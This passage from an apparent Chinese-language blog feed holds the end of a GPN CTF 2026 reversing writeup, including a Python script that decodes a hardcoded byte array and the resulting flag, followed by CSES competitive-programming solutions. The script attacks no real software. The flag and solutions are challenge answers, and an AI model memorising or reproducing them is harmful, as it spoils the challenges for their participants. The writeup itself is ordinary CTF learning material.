punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> result<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>檢查是否<code>FOOD</code>中每一位都跟<code>DELICIOUS</code>中的相同。</p><p>因此，我們只要取出<code>DELICIOUS</code>的值，並把四個步驟逆著推回去就好。</p><h2 id="exploit" tabindex="-1" id="exploit">exploit</h2><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment">#!/usr/bin/python3</span>delicious <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token number">0x0A</span><span class="token punctuation">,</span> <span class="token number">0x0A</span><span class="token punctuation">,</span> <span class="token number">0x0A</span><span class="token punctuation">,</span> <span class="token number">0x0A</span><span class="token punctuation">,</span> <span class="token number">0x7D</span><span class="token punctuation">,</span> <span class="token number">0xDD</span><span class="token punctuation">,</span> <span class="token number">0x5E</span><span class="token punctuation">,</span> <span class="token number">0x4E</span><span class="token punctuation">,</span>    <span class="token number">0x5F</span><span class="token punctuation">,</span> <span class="token number">0x9D</span><span class="token punctuation">,</span> <span class="token number">0xFC</span><span class="token punctuation">,</span> <span class="token number">0x2C</span><span class="token punctuation">,</span> <span class="token number">0x9D</span><span class="token punctuation">,</span> <span class="token number">0xB9</span><span class="token punctuation">,</span> <span class="token number">0xEC</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span>    <span class="token number">0xEF</span><span class="token punctuation">,</span> <span class="token number">0xF9</span><span class="token punctuation">,</span> <span class="token number">0x99</span><span class="token punctuation">,</span> <span class="token number">0xEE</span><span class="token punctuation">,</span> <span class="token number">0x8F</span><span class="token punctuation">,</span> <span class="token number">0xE9</span><span class="token punctuation">,</span> <span class="token number">0x2E</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span>    <span class="token number">0x8D</span><span class="token punctuation">,</span> <span class="token number">0xFF</span><span class="token punctuation">,</span> <span class="token number">0x5C</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span> <span class="token number">0x8F</span><span class="token punctuation">,</span> <span class="token number">0x5E</span><span class="token punctuation">,</span> <span class="token number">0xCC</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span>    <span class="token number">0x3D</span><span class="token punctuation">,</span> <span class="token number">0xEE</span><span class="token punctuation">,</span> <span class="token number">0xE9</span><span class="token punctuation">,</span> <span class="token number">0xFE</span><span class="token punctuation">,</span> <span class="token number">0x8F</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span> <span class="token number">0xFE</span><span class="token punctuation">,</span> <span class="token number">0x8F</span><span class="token punctuation">,</span>    <span class="token number">0xE9</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span> <span class="token number">0xFD</span><span class="token punctuation">,</span> <span class="token number">0xA9</span><span class="token punctuation">,</span> <span class="token number">0x3F</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span> <span class="token number">0x99</span><span class="token punctuation">,</span> <span class="token number">0x1E</span><span class="token punctuation">,</span>    <span class="token number">0x3E</span><span class="token punctuation">,</span> <span class="token number">0x6C</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span> <span class="token number">0x6C</span><span class="token punctuation">,</span> <span class="token number">0xFC</span><span class="token punctuation">,</span> <span class="token number">0xFC</span><span class="token punctuation">,</span> <span class="token number">0xCE</span><span class="token punctuation">,</span> <span class="token number">0x5F</span><span class="token punctuation">,</span>    <span class="token number">0x3E</span><span class="token punctuation">,</span> <span class="token number">0x1D</span><span class="token punctuation">,</span> <span class="token number">0xCE</span><span class="token punctuation">,</span> <span class="token number">0xEF</span><span class="token punctuation">,</span> <span class="token number">0x9E</span><span class="token punctuation">,</span> <span class="token number">0x4E</span><span class="token punctuation">,</span> <span class="token number">0xAF</span><span class="token punctuation">,</span> <span class="token number">0xDE</span><span class="token punctuation">]</span>delicious<span class="token punctuation">.</span>reverse<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token comment"># re-mix</span><span class="token comment"># re-trim</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token punctuation">(</span><span class="token number">61</span><span class="token punctuation">,</span><span class="token number">62</span><span class="token punctuation">,</span><span class="token number">63</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    delicious<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">0xAA</span>delicious<span class="token punctuation">[</span><span class="token number">60</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">0x0A</span><span class="token comment"># re-fry</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">64</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    delicious<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span>delicious<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">>></span> <span class="token number">4</span> <span class="token operator">|</span> delicious<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">&lt;&lt;</span> <span class="token number">4</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token comment"># re-salt</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">64</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    delicious<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">^</span><span class="token operator">=</span> <span class="token number">0xAA</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span> <span class="token builtin">chr</span><span class="token punctuation">(</span>h<span class="token punctuation">)</span> <span class="token keyword">for</span> h <span class="token keyword">in</span> delicious<span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>執行後拿到<br>Flag: <code>GPNCTF{I_Feel_lIK3_Y0u_4RE_RE4Dy_fOR_oUr_H4RD35T_d1shes_NOw}</code></p><p>以下為AutoCooker執行畫面，可以此觀察字串的變化：<br><img src="2026-06-10-20-23-43.png" alt="autocooker"></p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/10/GPN-CTF-2026-Writeup/</id>
    <link href="https://r3xdj.pages.dev/2026/06/10/GPN-CTF-2026-Writeup/"/>
    <published>2026-06-10T12:26:51.000Z</published>
    <summary>
      <![CDATA[<p>因為考上台大了，這個暑假打算上CTFtime上找一些比賽來打。本來想說畢業當周周末來打這個GPN CTF 2026，結果開賽前突然看到零日餅乾社裡傳一個ISIP-HS CTF，比賽時間包含這個GPN CTF，結果就變成GPN CTF只解了兩三題(還簡單題XD)(都在打ISI]]>
    </summary>
    <title>GPN CTF 2026 Writeup</title>
    <updated>2026-06-10T12:26:51.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="CSES" scheme="https://r3xdj.pages.dev/categories/OI/CSES/"/>
    <category term="Introductory Problems" scheme="https://r3xdj.pages.dev/categories/OI/CSES/Introductory-Problems/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <content>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><blockquote><p><s>我覺得把題目複製過來是最累的一件事</s></p></blockquote><ul><li>Time limit: 1.00 s</li><li>Memory limit: 512 MB</li></ul><p>You are given all numbers between <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">1,2,\ldots,n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span> except one. Your task is to find the missing number.</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>The first input line contains an integer <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>.<br/>The second line contains <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">n-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> numbers. Each number is distinct and between <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> (inclusive).</td><td>Print the missing number.</td></tr></tbody></table><p>Constraints</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mo>≤</mo><mi>n</mi><mo>≤</mo><mn>2</mn><mo>⋅</mo><msup><mn>10</mn><mn>5</mn></msup></mrow><annotation encoding="application/x-tex">2 \le n \le 2 \cdot 10^5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">5</span></span></span></span></span></span></span></span></span></span></span></li></ul><p>Example:</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>5<br/>2 3 1 5</td><td>4</td></tr></tbody></table><h1 id="%E8%A7%A3%E6%B3%95" tabindex="-1">解法</h1><h2 id="%E8%A7%A3%E6%B3%95%E4%B8%80" tabindex="-1" id="解法一">解法一</h2><h3 id="%E5%88%86%E6%9E%90" tabindex="-1" id="分析">分析</h3><p>這一個是我的做法<br>我很暴力的建一個布林陣列，用來標記哪些數字出現過了。當輸入<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>時，將陣列中Index為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的那項設為True<br>最後再掃一遍陣列的Index <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>，看哪一個是False就是少掉的數字。</p><h3 id="ac-code" tabindex="-1" id="AC-Code">AC Code</h3><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span> <span class="token keyword">bool</span> Number<span class="token punctuation">[</span><span class="token number">200001</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">long</span> <span class="token keyword">long</span> n<span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    std<span class="token double-colon punctuation">::</span>ios<span class="token double-colon punctuation">::</span><span class="token function">sync_with_stdio</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    std<span class="token double-colon punctuation">::</span>cin<span class="token punctuation">.</span><span class="token function">tie</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    cin <span class="token operator">>></span> n<span class="token punctuation">;</span>    <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">&lt;</span>n<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">int</span> x<span class="token punctuation">;</span>        cin <span class="token operator">>></span> x<span class="token punctuation">;</span>        Number<span class="token punctuation">[</span>x<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span>n<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span>Number<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>cout <span class="token operator">&lt;&lt;</span> i<span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="%E8%A7%A3%E6%B3%95%E4%BA%8C" tabindex="-1" id="解法二">解法二</h2><p>這是我在網路上看到的：<a href="https://hackmd.io/@apcser/HJ5R16POR">CSES-Missing Number - HackMD</a><br>計算輸入的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">n-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>個數的總和，再用<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的總和去扣，得到的答案就是少掉的數字。<br>好處是可以大大降低空間複雜度。</p><p>程式自己練習吧反正不難。</p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/03/CSES-Missing-Number-%E9%A1%8C%E8%A7%A3/</id>
    <link href="https://r3xdj.pages.dev/2026/06/03/CSES-Missing-Number-%E9%A1%8C%E8%A7%A3/"/>
    <published>2026-06-03T05:30:03.000Z</published>
    <summary>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1>
<blockquote>
<p><s>我覺得把題目複製過來是最累的一件事</s></p>
</blockquote>
<ul>
<li>Time limit: 1.00 s</li]]>
    </summary>
    <title>CSES Missing Number 題解</title>
    <updated>2026-06-03T05:30:03.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="CSES" scheme="https://r3xdj.pages.dev/categories/OI/CSES/"/>
    <category term="Dynamic Programming" scheme="https://r3xdj.pages.dev/categories/OI/CSES/Dynamic-Programming/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <category term="DP" scheme="https://r3xdj.pages.dev/tags/DP/"/>
    <content>
      <![CDATA[<blockquote><p><s>DP? 想成高中數學的遞迴就好啦</s></p></blockquote><h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><ul><li>Time limit: 1.00 s</li><li>Memory limit: 512 MB</li></ul><p>Your task is to count the number of ways to construct sum n by throwing a dice one or more times. Each throw produces an outcome between 1 and  6.<br>For example, if n=3, there are 4 ways:</p><ul><li>1+1+1</li><li>1+2</li><li>2+1</li><li>3</li></ul><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>The only input line has an integer <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>.</td><td>Print the number of ways modulo <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>.</td></tr></tbody></table><p>Constraints</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>≤</mo><mi>n</mi><mo>≤</mo><msup><mn>10</mn><mn>6</mn></msup></mrow><annotation encoding="application/x-tex">1 \le n \le 10^6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">6</span></span></span></span></span></span></span></span></span></span></span></li></ul><p>Example:</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>3</td><td>4</td></tr></tbody></table><h1 id="%E8%A7%A3%E6%B3%95" tabindex="-1">解法</h1><h2 id="%E5%88%86%E6%9E%90" tabindex="-1" id="分析">分析</h2><p>這是DP入門題<br>給定<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>∈</mo><mi mathvariant="double-struck">N</mi></mrow><annotation encoding="application/x-tex">n\in\N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6889em;"></span><span class="mord mathbb">N</span></span></span></span>，令<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">p</mi></mrow><mo stretchy="false">[</mo><mi>n</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">\mathrm{dp}[n]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathrm">dp</span></span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mclose">]</span></span></span></span>表示欲求的方法數。</p><p>首先處理<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mo>⋯</mo><mtext> </mtext><mo separator="true">,</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">n=1,2,\cdots,6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span></span></span></span>的情形，此時是整數的有序拆分<br>(<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>≥</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">n\geq 7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>時就不是了，以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">n=7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>作為舉例，直接算整數拆分的方法數會多算到「擲出一個<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>7</mn></mrow><annotation encoding="application/x-tex">7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>」這個方法，但骰子點數只有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>6</mn></mrow><annotation encoding="application/x-tex">6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>)<br>對於整數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的整數拆分，可以看成有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>顆球一字排開，如此共有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">n-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>個空隙，每個空隙都可選擇放/不放一個隔板，此方法數與整數拆分方法數一一對應。如此共有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">2^{n-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span>種方法。</p><p>而當<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mi>k</mi><mo>≥</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">n=k\geq 7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" 